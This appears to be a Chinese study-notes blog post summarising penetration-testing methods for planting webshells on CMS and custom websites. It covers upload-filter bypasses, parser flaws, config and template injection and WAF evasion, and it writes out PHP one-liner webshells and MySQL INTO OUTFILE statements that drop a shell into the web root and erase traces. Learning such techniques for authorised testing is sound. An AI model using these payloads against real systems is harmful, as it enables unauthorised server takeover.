滲透獲取webshell思路總結
又坐一天沒動地方哈,但是感覺還是有一些沒真整明白,也沒總結的特別全面細緻,今天先發出來,明天再花時間再整理一下,這個問題也是很多面試中常見問題,我認爲值得花些時間來研究。
今天就從CMS和非CMS,與有管理權限和無管理權限(無需登錄),這幾個方面來梳理一下滲透測試獲取webshell的思路,並沒有很具體的方法實戰,現在關於這個思路都是用一個南方內個靶機,網上很多,有興趣可以自己看一下,很多內容都是CSDN 的Agan '前輩的知識拷貝過來的,參考的所有資料博文都放在了文末。
目錄
前言
滲透測試之後,我們要獲取webshell,再到權限提升
那麼有時候拉到管理員後臺了(例如暴破出了密碼),怎麼取得一個webshell呢
一、CMS獲取Webshell方法(開源)
什麼是CMS?
CMS系統指的是內容管理系統。
內容管理系統(CMS)是允許用戶將內容直接發佈到Web的接口。將內容頁面直接添加到Web的過程比從本地計算機創建和上載頁面提前一步,因爲它允許大量人員遠程添加和共享數據。
通俗來講:CMS可以理解爲CMS幫你把一個網站的程序部分的事全做完了;你要做的只是一個網站裏面美工的部份
如何查看CMS相關信息?
進入後臺之後可以查看
查看CMS系統
有可能直接顯示
有可能會在最下方信息中顯示
有可能要使用工具
御劍web指紋識別
谷歌瀏覽器的wappalyzer
如何獲取webshell?
主要通過百度搜索CMS網站程序名稱。(其實就是0day)
如:phpcms拿Webshell、WordPress後臺拿Webshell (通過一些模板,填ip地址的地方抓包改包,上傳圖片木馬),phpwind拿webshell(用戶等級管理插一句話,髒話過濾插一句話,模板插一句話),WordPress拿後臺webshell
二、非CMS獲取Webshell方法(公司自開發)
有時候有的公司並不使用開源的CMS,而是選擇自己開發源代碼,也就是非CMS情況下,這裏的思路分爲有權限和無權限兩方面來分析
小補充
安裝網站時可能報錯誤的原因
數據庫權限問題
一般數據庫都給一個讀或者寫的權限
父目錄問題
啓用父目錄選項沒勾選
IP沒有設置好
驗證碼有問題
去修改一下源代碼驗證碼部分
有管理權限
1.正常上傳
直接上傳
網站對上傳文件後綴格式並未過濾,直接上傳WebShell即可
大概思路是,已知後臺管理員賬號和密碼,找有上傳節點的地方,寫一個隱蔽或變形的木馬上傳,上傳成功後,用菜刀或蟻劍連接。
添加後綴類型上傳
注:爲什麼要寫一個隱蔽或變形的木馬呢?因爲如果你用的常見的木馬,只要一上傳就會被管理員或WAF發現(常見的木馬WAF都是有收集的,所以可以寫完木馬之後用D盾檢查一下,被WAF檢測出來的危險等級是多少)
2.數據庫備份與恢復
把允許上傳的格式的木馬,備份或者恢復成木馬格式
網站對上傳的文件後綴進行過濾,不允許上傳腳本類型文件如 asp、php、jsp、aspx等。
而網站具有數據庫備份功能,這時我們就可以將WebShell格式先改爲允許上傳的文件格式,然後,我們找到上傳後的文件路徑,通過數據庫備份,將文件備份爲腳本格式。
1)有些備份數據庫的地方,限制了用戶更改路徑,那該怎麼辦?
F12打開開發者工具,修改文本框元素的value值爲我們想要的路徑或格式就可以完成修改
2)如果上傳的格式被限制呢?該怎麼辦?
可以使用%00截斷來繞過上傳限制或使用BurpSuite 工具(%00截斷、特殊名文件名繞過、文件名大小寫繞過等等黑白名單繞過)之前講過
3.本地js驗證突破拿WebShell
當網站設置了js來限制用戶上傳的文件類型時,可以通過刪除js驗證或者修改上傳類型突破上傳拿WebShell。(這種方法之前講過,印象很深,最近有一篇繞過IWRITE寫作平臺防複製粘貼內個功能就是利用的這個方法)
或者使用BurpSuite 或者是 Fiddle等代理工具提交,本地文件先更改爲jpg,上傳時攔截,再把文件擴展名更改爲asp或者php即可
4、上傳其它腳本類型拿WebShell
1)此類型用於一臺服務器具有多個網站,a網站是asp的站,b可能是php的站,而a站中限制了上傳文件類型爲asp的文件,你可以嘗試上傳php的腳本,來拿Shell
2)你也可以嘗試將腳本文件後綴名改爲asa 或者在後面直接加個點(.)如"xx.asp." 來突破文件類型限制進行上傳拿WebShell
這個思路還是頭一次見噢,有用的思路增加了!
5、%00截斷拿WebShell
很傳統了不多說
截斷上傳
%00截斷
特殊文件名
等
1)在上傳文件的時候,你上傳的文件名可能會被網站自動改成別的名字,這個時候你可以嘗試抓取上傳文件數據包,將文件名改爲xx.asp%00.jpg進行截斷上傳,拿WebShell
6、利用解析漏洞拿WebShell
可以看中間件漏洞那個欄目 個人認爲記住幾個常見的就好了吧,一般都是會查一遍的,這大便宜不撿白不撿
1)IIS5.x / 6.0 解析漏洞
2)IIS 7.0 / IIS 7.5 / Nginx <8.03 畸形解析漏洞
3)Nginx < 8.03 空字節代碼執行漏洞
畸形解析漏洞
4)Apache 解析漏洞
(由於Apache是從右到左開始判斷解析的,如果不可識別解析,就再往左判斷)
7、利用編輯器漏洞拿WebShell
同中間件
常見編輯器
fckeditor
ewebeditor
cheditor
8、網站配置插馬拿WebShell
通過找到網站默認配置,將一句話插入到網站配置中,不過爲了能夠成功執行插馬,建議先下載該站源碼,進行查看源碼過濾規則,以防插馬失敗。
PS:插馬失敗很有可能會導致網站被你寫的一句話木馬,沒有閉合標籤導致被網站被插廢。
數據庫配置文件插馬也是相同的
往配置文件寫入木馬就可以了
不太清楚這個插廢是啥情況,沒遇到過,根據不同情況,編寫不同代碼,需要一定能力噢
9、通過編輯模塊拿WebShell
1)通過對網站的模塊進行編輯寫入一句話,然後生成腳本文件拿WebShell
2)通過將木馬添加到壓縮文件,把名字改爲網站模板類型,上傳到網站服務器,拿WebShell
10、修改腳本直接拿WebShell
有的網站可以修改添加腳本文件,可以直接拿WebShell
不太懂,沒有找實例,留個坑
11、SQL命令獲取
這個算今天印象最深刻的了
可以通過phpmyadmin 登錄數據庫使用數據庫命令來寫如一句話拿WebShell
注:這個前提條件是需要有一定的數據庫權限
大致步驟:
創建表
將一句話寫入剛創建的表中
查詢一句話所在表到文件,成功將一句話寫入文件
具體操作
第一種
CREATE TABLE `mysql`.`best` (`best1` TEXT NOT NULL );
INSERT INTO `mysql`.`best` (`best1` ) VALUES ('<?php @eval($_POST[password]);?>');
SELECT `best1` FROM `best` INTO OUTFILE 'd:/wamp/www/best.php';
DROP TABLE IF EXISTS `best`;
將一句話木馬插入到mysql庫best表best1字段
查詢這個字段導出到網站的文件中
把痕跡清除
第二種方法
Create TABLE moon (best text NOT NULL);
Insert INTO moon (best) VALUES('<?php @eval($_POST[pass]);?>');
select best from moon into outfile 'd:/wamp/www/best2.php';
Drop TABLE IF EXISTS moon;
第三種方法:
select '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/best3.php'
優先推薦不但簡單明瞭,而且避免了誤刪別人的數據!
第四種方法
select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'd:/wamp/www/best4.php'
12、上傳特殊木馬拿WebShell
一些網站安裝了WAF 安全狗、360,我們可以通過上傳一些免殺馬,變形木馬來進行突破封殺
13、文件包含拿WebShell
先將WebShell 改爲txt格式文件上傳,然後上傳一個腳本文件包含該txt格式文件,可繞過WAF拿WebShell
這種情況一般是,我們已經通過菜刀拿下了權限了,假設菜刀一句話木馬可以過安全狗,但大馬卻怎麼都沒有上傳成功,繞過安全狗
解決發現大馬上傳不了,被防火牆或者安全狗攔截時,可以考慮使用包含文件
思路
1)先上傳一個含有包含代碼(如)卻沒有攻擊代碼的文件,不會被狗攔
2)再將大馬改成jpg圖片文件上傳,也不會被狗攔
3)訪問第一次上傳的包含函數的文件,會發現執行了木馬
4)這裏是因爲包含函數包含的文件會被當成腳本文件,直接將文件內容插入到這個文件中
非管理權限(不登錄後臺)
1、SQL注入漏洞
有高權限 有絕對路徑可以直接寫
前提條件,具有足夠權限,對寫入木馬的文件夾有寫入權限,知道網站絕對路徑
1.對於MsSQL 注入漏洞網站可以通過log 備份、差異備份拿WebShell
2.對於MySQL 注入漏洞的網站可以通過into outfile
函數(寫入函數)將一句話木馬寫入,拿WebShell。
- 要有file_priv權限
2. 知道文件絕對路徑
3. 能使用union
4. 對web目錄有讀權限
注:若過濾了單引號,則可以將函數中的字符進行hex編碼
還有一個是into file
函數(讀取函數)
#into outfile
函數類似
之後
3.利用phpmyadmin 將木馬導出,拿WebShell
4.利用連接外連的數據庫拿WebShell
2、修改網站上傳類型配置來拿WebShell
某些網站,在網站上傳類型中限制了上傳腳本類型文件,我們可以去添加上傳文件類型如添加asp | php | jsp | aspx | asa 後綴名來拿WebShell
3、xss和sql注入聯合利用
有些輸入框對一些符號過濾不嚴密(如<>,所以一般存在xss的地方就可以這麼利用)我們可以在這裏輸入一句話<?php @eval($_POST['CE']);?>
之後再用數據庫注入,查詢到文件into file成功插入一句話木馬
4、IIS寫權限拿WebShell
有些網站的管理員在配置網站權限的時候疏忽,導致我們有寫權限,這種漏洞需要用工具來利用,在這裏就不說了,只是提一下。而且已經很少見了,有專門的利用工具(桂林老兵),原理是通過找到有IIS 寫入權限的網站(開啓WebDeV),PUT進去一個.txt 格式的文件,目錄必須有刻寫的權限,如 image 文件夾,然後通過move 方法,把txt 格式的木馬用move 成腳本格式。
5、遠程命令執行拿WebShell
在有php代碼執行漏洞
例如一些框架漏洞的時候
可以通過執行一些系統命令進行拿WebShell
執行命令行命令“寫入內容到文件"echo ?php "@eval($_POST['CE']);?>" > x.php
會自動將創建木馬文件並將一句話木馬寫入其中,使用菜刀連接即可。
6、頭像上傳拿WebShell
大概思路:
將大馬放在文件夾中
將文件夾壓縮成壓縮文件(zip)
正常上傳一個頭像並且抓包
將數據包中圖片頭像的內容部分刪掉
重新寫入文件內容,將壓縮文件寫入到原本圖片的位置
上傳
之後返回包中會告訴我們絕對路徑
其他拿webshell方法
1、PhpMyadmin獲取Webshell
2、Tomcat獲取Webshell
3、Weblogic獲取Webshell
4、JBoss獲取Webshell
5.更新頁面拿webshell
在網站模板中的404頁面中插入一句話木馬,之後找到這個頁面的絕對路徑,訪問之即可拿Shell
6.上傳插件拿webshell
將木馬放入zip壓縮文件中,最好是網站插件的壓縮文件,之後再後臺安裝插件,選中含有木馬的壓縮文件,會自動將插件連通木馬安裝在網站目錄下,接下來我們只需要尋找到木馬的絕對路徑即可
2.3.4就看之前的命令執行板塊就可以了
參考資料
今天一天查了好多資料,這篇文章借鑑了以下的文章,有的年代久遠有的剛更新不久,與其說借鑑,倒不如說是對這些文章的一個總結抄錄,在這裏由衷感謝各位安全大佬的無私分享!
- 獲取webshell的一些總結 https://www.jianshu.com/p/4d37c160d009
- 拿WebShell 方法總結 原文鏈接:https://blog.csdn.net/God_XiangYu/article/details/99644596
- http://gstarwd.iteye.com/blog/542376 dedecms獲取Webshell總結
- http://www.2cto.com/Article/201209/156909.html 淺談MySQL導出一句話木馬拿WebShell的方法
祝大家五一快樂哈!沒有課和作業了,勻出更多時間可以自己安排痛痛快快學安全了哈!歐耶!